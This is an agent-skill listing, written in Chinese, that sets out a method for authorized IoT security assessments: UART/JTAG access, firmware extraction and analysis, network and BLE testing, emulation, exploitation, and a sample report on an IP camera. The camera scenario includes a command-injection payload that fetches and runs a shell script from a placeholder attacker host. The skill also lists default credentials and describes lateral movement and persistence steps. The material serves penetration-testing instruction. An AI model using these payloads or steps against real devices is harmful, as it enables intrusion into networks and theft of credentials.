# Performing Iot Security Assessment

> 通过测试硬件接口、固件、网络通信、云 API 和配套移动应用程序，对 IoT 设备及其生态系统执行全面的安全评估。 测试人员使用固件提取与分析、通过 UART 和 JTAG 进行硬件调试、网络协议分析以及运行时利用等技术， 识别 IoT 各层的漏洞。适用于 IoT 安全测试、嵌入式设备评估、固件安全分析或智能设备渗透测试等请求场景。

- Skill: `killvxk/performing-iot-security-assessment` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-iot-security-assessment`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-iot-security-assessment/raw
- Safety review: WARNING
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-iot-security-assessment

---

# 执行 IoT 安全评估

## 使用场景

- 在企业或关键基础设施环境部署前评估 IoT 设备的安全性
- 作为产品安全审查或认证的一部分，评估消费级 IoT 产品的安全漏洞
- 测试工业 IoT（IIoT）设备，识别可能影响运营技术环境的漏洞
- 分析固件中的后门、硬编码凭据以及嵌入式组件的已知漏洞
- 评估完整 IoT 生态系统（包括设备、云后端和配套移动应用）的安全性

**不适用场景**：未获得书面授权擅自测试 IoT 设备、修改非自有设备的固件，或未获得专项医疗设备测试授权和安全协议而测试医疗设备或安全关键系统。

## 前置条件

- 对目标 IoT 设备的物理访问权限，用于硬件分析和测试
- 硬件工具：USB 转 UART 适配器（FTDI）、Bus Pirate、逻辑分析仪、JTAG 调试器（Segger J-Link）、SPI 闪存编程器（CH341A）
- 固件分析工具：Binwalk、Firmwalker、固件分析工具包（FAT）、Ghidra、QEMU（用于仿真）
- 网络分析：Wireshark、tcpdump、蓝牙工具（Ubertooth、nRF Connect）、Zigbee 工具（KillerBee）
- 焊接设备（如需访问硬件调试点）

## 工作流程

### 步骤一：设备侦察与硬件分析

检查物理设备并识别攻击面：

- **外部检查**：记录所有物理接口（USB、以太网、串口、SD 卡槽）、标签、FCC ID 和型号
- **FCC ID 查询**：使用 FCC ID 在 FCC 数据库（fcc.gov/oet/ea/fccid）搜索内部照片、原理图和无线频率信息
- **PCB 分析**：打开设备外壳并拍摄 PCB 照片。识别：
  - 主处理器/SoC（读取标识，查找数据手册）
  - 闪存芯片（SPI NOR、NAND、eMMC）
  - 调试接头和测试点
  - UART/JTAG/SWD 引脚（寻找 4 针或 10 针接头，或未焊接的焊盘）
- **UART 识别**：使用万用表识别 UART 引脚（TX、RX、GND、VCC），连接 USB 转 UART 适配器，尝试以常用波特率（9600、38400、57600、115200）访问串口控制台
- **JTAG 识别**：使用 JTAGulator 或手动探针识别 JTAG 引脚（TCK、TMS、TDI、TDO、TRST），连接 JTAG 调试器进行内存访问和调试

### 步骤二：固件提取与分析

提取并分析设备固件：

- **固件获取方式**：
  - 从厂商网站或更新服务器下载
  - 使用 SPI 编程器从闪存芯片提取：将 CH341A 连接到 SPI 闪存，使用 `flashrom -p ch341a_spi -r firmware.bin` 读取
  - 通过网络拦截捕获无线更新
  - 从 UART 引导加载程序控制台提取（U-Boot：`md.b` 内存转储）
- **固件解包**：`binwalk -e firmware.bin` 提取文件系统、内核和引导加载程序组件
- **文件系统分析**：
  - 搜索凭据：`grep -rn "password\|passwd\|secret\|key" squashfs-root/`
  - 检查 `/etc/shadow` 中的密码哈希
  - 审查 `/etc/init.d/` 中的启动脚本，查找不安全的服务配置
  - 识别 Web 服务器配置和 CGI 脚本，查找 Web 界面漏洞
  - 使用 Firmwalker 自动发现敏感数据：`./firmwalker.sh squashfs-root/`
- **二进制分析**：使用 Ghidra 对关键二进制文件（Web 服务器、管理守护进程、认证模块）进行逆向工程，查找硬编码凭据、命令注入和缓冲区溢出漏洞
- **已知漏洞扫描**：提取软件版本并与 CVE 数据库交叉参考。使用 `firmware-analysis-toolkit` 进行自动化 CVE 扫描

### 步骤三：网络通信分析

分析 IoT 设备的所有网络流量：

- **流量捕获**：将设备连接到带有流量镜像（SPAN 端口）的网络，或使用内联透明网桥。使用 Wireshark 捕获所有流量
- **协议分析**：识别所使用的所有协议（HTTP、HTTPS、MQTT、CoAP、AMQP、自定义 TCP/UDP），检查未加密的敏感数据传输
- **TLS 分析**：验证 TLS 实施：证书验证、密码套件强度、证书锁定。尝试使用 Burp Suite 进行中间人拦截
- **云 API 分析**：拦截设备到云的通信，识别 API 端点、认证方式和传输数据。测试 IDOR、认证绕过和过度数据暴露
- **蓝牙/BLE 测试**：使用 nRF Connect 或 Ubertooth 枚举 BLE 服务和特征。测试未认证访问、明文数据传输和静态配对密钥
- **Zigbee/Z-Wave 测试**：使用 KillerBee 框架捕获和分析 Zigbee 流量，测试重放攻击，检查密钥交换安全性

### 步骤四：固件仿真与动态测试

仿真固件进行动态安全测试：

- **QEMU 仿真**：使用 FirmAE 或 Firmadyne 仿真提取的固件：`python3 fat.py firmware.bin` 在仿真环境中启动固件
- **Web 界面测试**：在仿真环境中访问设备的 Web 管理界面，测试：
  - 默认凭据（admin:admin、root:root、admin:password）
  - 配置参数中的命令注入
  - 通过直接 URL 访问绕过认证
  - 所有输入字段的跨站脚本（XSS）
  - 状态变更操作中的 CSRF
- **服务测试**：使用 Nmap 扫描仿真设备的所有开放端口，并对每个服务测试已知漏洞
- **模糊测试**：使用 Boofuzz 或 AFL 对网络服务进行模糊测试，发现嵌入式服务中的内存损坏漏洞

### 步骤五：利用与影响演示

利用已识别漏洞演示影响：

- **远程代码执行**：将发现的漏洞（命令注入、缓冲区溢出）链接起来，在设备上实现远程代码执行
- **凭据提取**：提取并破解在固件、内存转储或网络捕获中发现的凭据
- **横向移动**：演示已入侵的 IoT 设备如何被用于攻击网络上的其他设备
- **持久化**：展示攻击者如何在固件更新或重启后保持对设备的访问
- **物理影响**：对于 IIoT 设备，演示物理操控的可能性（更改传感器读数、修改执行器命令）

## 核心概念

| 术语 | 定义 |
|------|------------|
| **UART** | 通用异步收发器；嵌入式设备上常用于调试控制台的串行通信接口，通常可提供 root shell 访问 |
| **JTAG** | 联合测试行动组；提供对处理器直接访问的硬件调试接口，可用于内存读取、代码调试和固件提取 |
| **固件（Firmware）** | 存储在设备闪存中控制其运行的软件，通常由引导加载程序、操作系统内核和根文件系统组成 |
| **Binwalk** | 固件分析工具，可识别并提取固件镜像中嵌入的文件系统、压缩存档和二进制组件 |
| **MQTT** | 消息队列遥测传输；IoT 设备通信中常用的轻量级发布/订阅协议，通常在无认证情况下部署 |
| **BLE** | 低功耗蓝牙；许多 IoT 设备用于短距离通信的无线协议，若未妥善保护则易受窃听和未授权访问 |

## 工具与系统

- **Binwalk**：固件提取和分析工具，可识别固件镜像中的文件系统类型、压缩格式和嵌入数据
- **Ghidra**：NSA 开源逆向工程框架，支持 ARM、MIPS 等多种架构的嵌入式设备二进制分析
- **FirmAE/Firmadyne**：自动化固件仿真平台，在 QEMU 中启动提取的基于 Linux 的 IoT 固件进行动态测试
- **Bus Pirate**：硬件黑客多功能工具，支持 UART、SPI、I2C 和 JTAG 协议，用于与嵌入式设备调试接口交互
- **Wireshark**：网络协议分析器，用于捕获和分析 IoT 设备在所有协议层的网络流量

## 常见场景

### 场景：企业 IP 摄像头安全评估

**背景**：一家公司计划在办公室部署来自同一供应商的 200 台 IP 摄像头。部署前，安全团队要求对摄像头进行渗透测试，以识别可能被利用来访问企业网络的漏洞。

**方法**：
1. 打开摄像头并在 PCB 上识别 UART 引脚；连接后以 115200 波特率、无密码访问 root shell
2. 从 SPI 闪存芯片提取固件并用 Binwalk 分析：发现嵌入了 BusyBox 的 Linux、lighttpd Web 服务器和自定义管理守护进程
3. 在 `/etc/shadow` 中发现硬编码凭据（root:$1$abc$hashedpassword），几秒内破解 MD5 哈希（密码：camera123）
4. Web 界面测试发现 NTP 服务器配置字段中的命令注入：`; wget http://attacker.com/shell.sh | sh`
5. 网络分析显示摄像头未加密发送 RTSP 流，且 ONVIF 服务无需认证即可访问
6. 演示横向移动：从已入侵的摄像头扫描企业网络，访问 3 台内部服务器
7. 报告建议进行网络隔离、联系固件供应商，并将摄像头部署在隔离的 VLAN 上

**常见陷阱**：
- 仅关注 Web 界面，遗漏提供无认证 root shell 的 UART/JTAG 访问
- 未分析固件中可能在同型号所有设备间共享的硬编码凭据
- 孤立测试设备，遗漏在企业网络上部署脆弱设备的网络层风险
- 忽视可能暴露额外攻击面的云连接和移动应用组件

## 输出格式

```
## 发现：通过 UART 调试接口的未认证 Root Shell

**ID**: IOT-001
**严重性**: 严重（CVSS 9.0）
**设备**: ModelCam X200 IP 摄像头（固件 v3.2.1）
**接口**: UART 串口控制台（115200 波特率，8N1）

**描述**:
该 IP 摄像头在 PCB 上暴露了一个 UART 串口接口，可在无需认证的情况下
直接提供 root shell 访问权限。能够物理接触设备的攻击者只需连接
USB 转 UART 适配器，即可获得嵌入式 Linux 操作系统的完整 root 访问权限。

**概念验证**:
1. 打开设备外壳（4 颗十字螺丝，无防拆检测）
2. 将 FTDI 适配器连接到 UART 引脚（PCB 上的 J3 接头）
3. 串口终端设置 115200 8N1：立即出现 root shell 提示符
4. root@camera:~# id -> uid=0(root) gid=0(root)

**通过 Root 访问发现的其他问题**:
- /etc/shadow 包含所有设备共享的硬编码 root 密码（camera123）
- 已配置网络的 WiFi 凭据以明文形式存储于 /etc/wireless.conf
- RTSP 流在 554 端口无需认证即可访问

**影响**:
对任何已部署摄像头的物理访问即可获得网络的 root 权限。
200 台摄像头部署于各办公室，每台摄像头都成为具备
root 级命令执行能力的潜在网络入口点。

**修复建议**:
1. 在生产固件中禁用 UART 控制台访问或要求认证
2. 移除硬编码凭据；使用制造时生成的每设备唯一密码
3. 使用硬件支持的密钥加密存储的 WiFi 凭据
4. 将摄像头部署在与企业网络隔离的 VLAN 上
```

